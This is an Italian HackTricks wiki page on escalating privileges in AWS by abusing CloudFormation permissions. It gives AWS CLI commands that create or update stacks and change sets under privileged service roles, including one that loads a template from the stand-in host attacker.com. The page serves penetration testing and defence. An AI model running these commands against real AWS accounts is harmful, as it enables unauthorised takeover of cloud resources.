AWS - Cloudformation Privesc

Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.

cloudformation

Per ulteriori informazioni su cloudformation controlla:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un attaccante con queste autorizzazioni può escalare i privilegi creando uno stack di CloudFormation con un modello personalizzato, ospitato sul proprio server, per eseguire azioni sotto i permessi di un ruolo specificato:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Nella seguente pagina hai un esempio di sfruttamento con il permesso aggiuntivo cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impatto Potenziale: Escalation dei privilegi al ruolo di servizio cloudformation specificato.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In questo caso puoi abusare di uno stack cloudformation esistente per aggiornarlo ed escalare i privilegi come nello scenario precedente:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permissione cloudformation:SetStackPolicy può essere utilizzata per conferire a te stesso il permesso UpdateStack su uno stack e eseguire l'attacco.

Impatto Potenziale: Privesc al ruolo di servizio di cloudformation specificato.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Se hai questa permissione ma non hai iam:PassRole puoi comunque aggiornare gli stack utilizzati e abusare dei Ruoli IAM a cui sono già collegati. Controlla la sezione precedente per un esempio di exploit (basta non indicare alcun ruolo nell'aggiornamento).

La permissione cloudformation:SetStackPolicy può essere utilizzata per conferire a te stesso il permesso UpdateStack su uno stack e eseguire l'attacco.

Impatto Potenziale: Privesc al ruolo di servizio di cloudformation già collegato.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaccante con permessi per passare un ruolo e creare ed eseguire un ChangeSet può creare/aggiornare un nuovo stack di cloudformation abusando dei ruoli di servizio di cloudformation proprio come con CreateStack o UpdateStack.

L'exploit seguente è una variazione di quello del CreateStack utilizzando i permessi ChangeSet per creare uno stack.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Il permesso cloudformation:SetStackPolicy può essere utilizzato per conferirti i permessi ChangeSet su uno stack e eseguire l'attacco.

Impatto Potenziale: Privesc ai ruoli di servizio di cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Questo è simile al metodo precedente senza passare ruoli IAM, quindi puoi semplicemente abusare di quelli già allegati, basta modificare il parametro:

--change-set-type UPDATE

Impatto Potenziale: Privesc al ruolo di servizio cloudformation già collegato.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaccante potrebbe abusare di queste autorizzazioni per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari.

Impatto Potenziale: Privesc ai ruoli di servizio cloudformation.

cloudformation:UpdateStackSet

Un attaccante potrebbe abusare di questa autorizzazione senza l'autorizzazione passRole per aggiornare StackSets per abusare dei ruoli cloudformation collegati.

Impatto Potenziale: Privesc ai ruoli cloudformation collegati.

Riferimenti

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Impara & pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara & pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.